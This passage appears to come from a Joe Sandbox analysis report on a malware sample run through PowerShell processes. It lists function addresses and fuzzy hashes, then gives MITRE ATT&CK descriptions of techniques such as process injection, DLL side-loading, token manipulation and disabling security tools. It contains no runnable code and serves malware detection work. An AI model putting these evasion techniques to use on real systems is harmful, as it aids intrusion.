Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: 10966d0e84b0efcf70261df17dc19424662dab2e39ffdc6874fe4cf6c3198289
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: 82016D368012058BCF34BF66C4416ACB3B9AF50B11F54C82DF49456761DB34AB81CB11

Function 03FC498F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03FC499E

Part of subcall function 03FB8116: __getptd_noexit.LIBCMT ref: 03FB8119
Part of subcall function 03FB8116: __amsg_exit.LIBCMT ref: 03FB8126

__getptd.LIBCMT ref: 03FC49AC

Strings

csm, xrefs: 03FC49BA

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: c014d4725f90911718fe9d0e543ee6b6a9cf3402e4d616ead6b647ebcccb2331
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: 37016D38C513D78FCF36DF26DA616ACB7B9BF00211F58446ED0429A690CB318980DB15

Analysis Process: powershell.exePID: 7980, Parent PID: 7924COMMON

Executed Functions

Function 048F29F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1392220281.00000000048F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_48f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da30250c40e5b610865be2723a14489897284898507cb30f107925554a0b0b18
Instruction ID: 3dbf173d3b847c6d5983ca09752e4f592fb90439102a9e3bd6d91cb14489a8bb
Opcode Fuzzy Hash: da30250c40e5b610865be2723a14489897284898507cb30f107925554a0b0b18
Instruction Fuzzy Hash: 99914A74A006058FCB15CF58C894AAABBB1FF48310B248A99D915EB365D736FC51CBA4

Function 048F2B00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1392220281.00000000048F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_48f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae137896a6559976de49208b2b4c2e5458ed98c641dc1726e77627a5acaba2c8
Instruction ID: a78b33fd9acb9feceffd77e2229409dc97aaf4d4ddf262a44ed09b2afd4ca628
Opcode Fuzzy Hash: ae137896a6559976de49208b2b4c2e5458ed98c641dc1726e77627a5acaba2c8
Instruction Fuzzy Hash: 5F413974A00605DFCB0ACF58C898AAEF7B1FF48310B158A99D915AB364C732FC51CBA0

Function 02C6D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1391559763.0000000002C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692ada53857fa36ffb7d793d6bf665b58c1f82fc30eecc82e314a119ddff0dc1
Instruction ID: ab908f5eec4278c99c57a49b90e5e41ed5d8f39d4d43165d17af1c50893586df
Opcode Fuzzy Hash: 692ada53857fa36ffb7d793d6bf665b58c1f82fc30eecc82e314a119ddff0dc1
Instruction Fuzzy Hash: 4B015E6110E3C09FD7128B258894B62BFB8DF43225F1DC1DBD9888F1A3C2699849C7B2

Function 02C6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1391559763.0000000002C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df349838352b629848926d38793d5bc1d3d923b0e2c96449dcaac4f7d5bad6f
Instruction ID: 564dc04638ef687118760758e1a5c7bea8c7e0551bdb60412d0446e40267e511
Opcode Fuzzy Hash: 5df349838352b629848926d38793d5bc1d3d923b0e2c96449dcaac4f7d5bad6f
Instruction Fuzzy Hash: 1001A731608340DFE7244B66C8C8B76BB98DF81225F18C41AED4A0B142C7799945C6F1

Analysis Process: powershell.exePID: 8120, Parent PID: 8076COMMON

Executed Functions

Function 072517D8 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1443551597.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb21ac527952a91babc18293ff911daed7e78c369dd7cff38a7f477ecb1fc3f
Instruction ID: da3d94a8bb704b93240c6507c82f6a20efeb8687891cd343cfd1a4bdb976ab52
Opcode Fuzzy Hash: 1cb21ac527952a91babc18293ff911daed7e78c369dd7cff38a7f477ecb1fc3f
Instruction Fuzzy Hash: 0C1269B1B2431F9FDB259B6888057AAB7A2AFC1211F14C47AD805CB341DF72CD65C7A2

Function 02C79F40 Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0a05ec63dd16b72412df2a33831d96b413e3ee844612cf304faed3ded126b0
Instruction ID: 4cdd3e2865826d603cc1672e2d4ae3381ad1981b7789452ebb3e54b31b63305c
Opcode Fuzzy Hash: 6d0a05ec63dd16b72412df2a33831d96b413e3ee844612cf304faed3ded126b0
Instruction Fuzzy Hash: 8D228030A05244DFDB06CFA8C894AADBBB1FF89314F2581AAD445EB362C735DD45CB91

Function 02C77068 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a009e3de08bca0706fa93d07642aed82185d625b66bf47a09bb9f7131e9f5242
Instruction ID: c330d359b02142eef83ade14c740fd43d3e007812c1fe705e21a0511e12d1658
Opcode Fuzzy Hash: a009e3de08bca0706fa93d07642aed82185d625b66bf47a09bb9f7131e9f5242
Instruction Fuzzy Hash: 23C17A35A00208DFDB14DFA4D844AADBBB6FF84314F158569E806AB365CB74EE49CF80

Function 02C78830 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34ac580c0c0db227136ff5d1866577b4776ffa0de6ce9625b306fcaf93a3ca3e
Instruction ID: 665185eb54a66455c9c808c2b505787138af4349c31c3e57d06c41e85ea713b1
Opcode Fuzzy Hash: 34ac580c0c0db227136ff5d1866577b4776ffa0de6ce9625b306fcaf93a3ca3e
Instruction Fuzzy Hash: 56D11774A01248DFDB05CFA8D488A9EFBB2FF88314F258299E954AB351C731ED45CB90

Function 02C729F0 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104d0376271a43b109a87169bdfae8a7576b11d74095815e2a39b72363439278
Instruction ID: 267376a6cf1cc5e5ceab2ce7ec70ffd6b30eece1247474f61c8cf081cf7eed55
Opcode Fuzzy Hash: 104d0376271a43b109a87169bdfae8a7576b11d74095815e2a39b72363439278
Instruction Fuzzy Hash: 8F91B070A00605CFDB15CF59C894AAEFBB1FF88314B248599D816EB361C735ED51CBA1

Function 02C7799E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60333df0eee7c6a890d74c07b2d94f279f2de94a4237bf328e8d3584d59b14a
Instruction ID: 88d4d7957da7f7d60fb388d9476f5070f9395b01c8202e62c6d632c97401de41
Opcode Fuzzy Hash: c60333df0eee7c6a890d74c07b2d94f279f2de94a4237bf328e8d3584d59b14a
Instruction Fuzzy Hash: 29711830E002089FDB15DFA5D894BADFBF2BF88344F148869D412AB790DB75AD4ACB50

Function 02C77830 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 015c1443731824a8fac11e3ee6f0c08dc9607ee2dfbe79fda4c1ec6dfeb8bcb7
Instruction ID: d0ba099b000f69e10fc961bd073810caf1e4b7c3a5b371a5c7d577a2d403a40f
Opcode Fuzzy Hash: 015c1443731824a8fac11e3ee6f0c08dc9607ee2dfbe79fda4c1ec6dfeb8bcb7
Instruction Fuzzy Hash: C3517C70A00208DFDB14DFA9D844BAEFBF2BF89350F148869D055AB350DB74AD45CB90

Function 02C775C1 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb01eed97ab565a8e553fb92e42fe203a817e3b4854185f30f755125cce61f15
Instruction ID: 6ac45314220e4e976b4da1c523b986f34f5b480d352d54aea9eb890d2b22e01c
Opcode Fuzzy Hash: bb01eed97ab565a8e553fb92e42fe203a817e3b4854185f30f755125cce61f15
Instruction Fuzzy Hash: 69418131A002088FDB16EB74C9586BEBBF6EF8D750F194869D406EB3A0DB70AD45CB50

Function 072517BD Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1443551597.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6491549618017d5864b56e490dbbec34c17f13d887647dbe71bbad947334cf90
Instruction ID: 87c35a1f0bb55036f91e92d005375fd7c9d090b5341d2cfbae041e25c980c27e
Opcode Fuzzy Hash: 6491549618017d5864b56e490dbbec34c17f13d887647dbe71bbad947334cf90
Instruction Fuzzy Hash: 4B4125F1E2030B9FDB308E148945B6A77A3AFC0244F1884A5DD049B391D736DDA5CBA3

Function 02C7781B Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18a56910fdd769f3c1c2b15e35af4a72c6601a8f5dfce8453123e7acd25a3318
Instruction ID: 7aaa2e05f1ca8e54bdf52cf609ece0d8adc29034bb56f2c25e056c54b8f56061
Opcode Fuzzy Hash: 18a56910fdd769f3c1c2b15e35af4a72c6601a8f5dfce8453123e7acd25a3318
Instruction Fuzzy Hash: 2B416D70A003089FEB15DFA5C8947ADFBF2BF89350F158869D045AB790DBB4AD49CB50

Function 02C72B00 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 967c392e6f01529979a9da814d1ddd8867d1e5442f5a065b4c1cbb00e7034c69
Instruction ID: 60f9c8a7eaf2ea29ec2743c3459eed51af9629c8207bc3badb253f824e3b6689
Opcode Fuzzy Hash: 967c392e6f01529979a9da814d1ddd8867d1e5442f5a065b4c1cbb00e7034c69
Instruction Fuzzy Hash: 97418F709006058FDB06CF59C4D8AAEFBB1FF48314B258199D816AB364C332FD91CB91

Function 02C787AF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6c6b10d05b5333a01f531d668636a8cd96c1c231dff1c6a42a28b9898b1cf4
Instruction ID: bac20a36ebcf5b895e7a946e91c9dba2f5980db207011854b224bc0f09ccb7d9
Opcode Fuzzy Hash: 2f6c6b10d05b5333a01f531d668636a8cd96c1c231dff1c6a42a28b9898b1cf4
Instruction Fuzzy Hash: A5318F70D093858FCB06CB68C894A99BFB1BF4A214B0941DAD544DB3A3C735EC05CBA2

Function 02C787E5 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d37c5b7521e416a45a545ee288998df426f4dd5beda6bb52860802ef38b9e3b
Instruction ID: 5b1f5ed09d416cf4ada2405d390443810738b8bb4f10d652f45e8d733c11f38d
Opcode Fuzzy Hash: 2d37c5b7521e416a45a545ee288998df426f4dd5beda6bb52860802ef38b9e3b
Instruction Fuzzy Hash: FE317370A093959FC706DBA9CC94999BFB0EF4A214B0941D7D444DB3A3C734ED05CBA1

Function 02C77A12 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db40c05ef6f4b63baf3c71c0734c8731daf530144f39b67e2636dd4de7086ce
Instruction ID: 68e737ce1a5d5dcb153b4283c84314eab3f9bcf2fe94dbfd6972b047a1bf44e8
Opcode Fuzzy Hash: 3db40c05ef6f4b63baf3c71c0734c8731daf530144f39b67e2636dd4de7086ce
Instruction Fuzzy Hash: 36316030E0021C9FDB14DBA5D880BADF7F6AFC9204F14846AE415AB750CB34AD4ACB51

Function 02C779DF Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872d8605626af951eb64a2caed27491a18e16b3b11f712c9b2172226a683d6b4
Instruction ID: 9ce55f445c740a5571c5ac1e3a9ec27e1637646d57be83469a550d96fb95ec4a
Opcode Fuzzy Hash: 872d8605626af951eb64a2caed27491a18e16b3b11f712c9b2172226a683d6b4
Instruction Fuzzy Hash: 28316E30E0021C9FDB14DBA4D880BEDF7F6AFC9204F2484AAE415AB750CB34AD4ACB51

Function 02C779AA Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b181f92c0705325071d338189c91dea714e485fff12c385085dc944c079a1c00
Instruction ID: 2ef5dd97d8818f69921932e8793dd383b60913292a7ea313b6ac1e481008b542
Opcode Fuzzy Hash: b181f92c0705325071d338189c91dea714e485fff12c385085dc944c079a1c00
Instruction Fuzzy Hash: 9C316F30E0021C9FDB15EBA4D840BEDF7F6AFC9204F24846AE415A7750CB35AE4ACB51

Function 02C77A45 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5918142dcdaafac5d7d418922da67e0ab7e767981db6831dca134bb3bdd16
Instruction ID: 982c6c11b71715f80a6a68e6f21228552f3b1f52f329553c770d7bfbbdea9396
Opcode Fuzzy Hash: 16d5918142dcdaafac5d7d418922da67e0ab7e767981db6831dca134bb3bdd16
Instruction Fuzzy Hash: B8314E30E0021C9FDB14DBA5D980BEDF7F6AF89304F2484AAE415AB750DB35AD4ACB51

Function 02B8D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1418619637.0000000002B8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2b8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3de4f5c3c09963256bfcbfb2dbc20b315c8ac71cf0e0eb05e8cafdca3555c6
Instruction ID: dca19785cdb0373ee394d0ffb060a7e68178adada05e5a727145c4ef70a052df
Opcode Fuzzy Hash: 3f3de4f5c3c09963256bfcbfb2dbc20b315c8ac71cf0e0eb05e8cafdca3555c6
Instruction Fuzzy Hash: 2801FD31108345EFE724AA32DC80B66FB98DF41224F08C0ABED4C0A282C7799841CAB2

Function 02B8D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1418619637.0000000002B8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2b8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecf2b00053b2a9e1ce711a7982f9925097cb88576df822e8e486dbdfb083875
Instruction ID: 3f86e12a0eec23272d88c2b913b70ee9d050fcc8362faf0f02e37a59f0a22281
Opcode Fuzzy Hash: cecf2b00053b2a9e1ce711a7982f9925097cb88576df822e8e486dbdfb083875
Instruction Fuzzy Hash: 13015E6250E3C49FD7168B258C94B62BFB4DF52224F19C1DBD9888F1D3C2699848C772

Function 02C76E58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6da8a65c739aaa89915e67075d340dca6056d4b98e7d645130ae2e5d4af66f99
Instruction ID: 0b753403f53b000b2ff823348ed4f81d9ce7b2a21fe45b7febe3ce7edc7674d3
Opcode Fuzzy Hash: 6da8a65c739aaa89915e67075d340dca6056d4b98e7d645130ae2e5d4af66f99
Instruction Fuzzy Hash: D401E874A082098FC780DF68D4859AEBBF0FF49310F5152A9E905DB321D731A944CB91

Function 02C77058 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7708c0ab6907d3709cea7763445db55f1cf5d4a3c496c43e07e9cd70fe24ccb2
Instruction ID: c1e22beb7a772d78e8b428e7dd77b46d30b4d08ea307bc7175214d6be3e40ba6
Opcode Fuzzy Hash: 7708c0ab6907d3709cea7763445db55f1cf5d4a3c496c43e07e9cd70fe24ccb2
Instruction Fuzzy Hash: 46F0B430200304CFC7259B18E414B96B7A9FFC6718B0684EEE4088F761CB35DC89CBA1

Function 02C76E68 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a609dbc2c9b880614bae99da42ac8843775aa9a9a64df2767176032e5636ffd9
Instruction ID: 4ea0dbbc6487ba1e9d0f9dd4f9b3de737a283add7eb652eeb3a42c21943550b9
Opcode Fuzzy Hash: a609dbc2c9b880614bae99da42ac8843775aa9a9a64df2767176032e5636ffd9
Instruction Fuzzy Hash: 94F0A974E0420ACFC780DFA8C485AAEBBF4BF49310F504199D509DB321D730E951CB91

Function 02C77555 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1419497892.0000000002C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6452d7ec8145d00780c62e0a0541776ac77647c4c89c5564b02ee8d2a12c15c
Instruction ID: d3ee5a2098a642f5f1e5ba8346e3d2faa4df50c78dc8339c0fc63dce77d2cbb8
Opcode Fuzzy Hash: b6452d7ec8145d00780c62e0a0541776ac77647c4c89c5564b02ee8d2a12c15c
Instruction Fuzzy Hash: F2F03070A0030ADFEB04DBE0C556B6EB7B2AB40304F108964D5029F265CB78AD49CFC0

Analysis Process: powershell.exePID: 7648, Parent PID: 2452COMMON

Executed Functions

Function 03EDD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1646850289.0000000003EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3edd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c55e63403f140c752f19790af67c3b735a456d34770d6b5e28b102309cf36df1
Instruction ID: d912d7490752c4bf933a98345b536b2c8ee1c00907157afd1e835697c8572d33
Opcode Fuzzy Hash: c55e63403f140c752f19790af67c3b735a456d34770d6b5e28b102309cf36df1
Instruction Fuzzy Hash: 82012D6140E7C09FD7128B259C94B52BFB89F53228F1D81DBD9888F1A3C2699849C772

Function 03EDD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1646850289.0000000003EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3edd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3354b7923b080621ea90b3b79647f9165926998ee4ab1441b552b7ed3cd56e7f
Instruction ID: d984734d032c52ed2262376123898fa76ea00cd18cdac4240c7aa36a5bc322c0
Opcode Fuzzy Hash: 3354b7923b080621ea90b3b79647f9165926998ee4ab1441b552b7ed3cd56e7f
Instruction Fuzzy Hash: 7501F731408340AFE720CB21EC80B67FBA8DF81224F08C259ED484E142C6789846C6B1

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
